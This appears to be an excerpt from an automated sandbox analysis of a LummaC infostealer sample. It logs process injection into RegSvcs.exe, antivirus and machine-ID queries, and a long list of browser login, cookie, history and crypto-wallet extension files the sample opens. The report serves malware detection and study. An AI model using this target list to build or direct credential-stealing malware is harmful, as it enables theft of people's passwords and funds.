Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: DE3008	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RegSvcs.exe, 0000000A.00000002.1441949055.0000000000F74000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Windows Defender\MsMpeng.exe
Source: RegSvcs.exe, 0000000A.00000002.1441949055.0000000000F33000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegSvcs.exe, 0000000A.00000002.1441949055.0000000000F74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: RegSvcs.exe, 0000000A.00000002.1441949055.0000000000F74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: RegSvcs.exe, 0000000A.00000002.1441949055.0000000000F74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: RegSvcs.exe, 0000000A.00000002.1441949055.0000000000F74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: powershell.exe, 00000001.00000002.1337958291.00007FF7C11A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cert9.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\key4.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
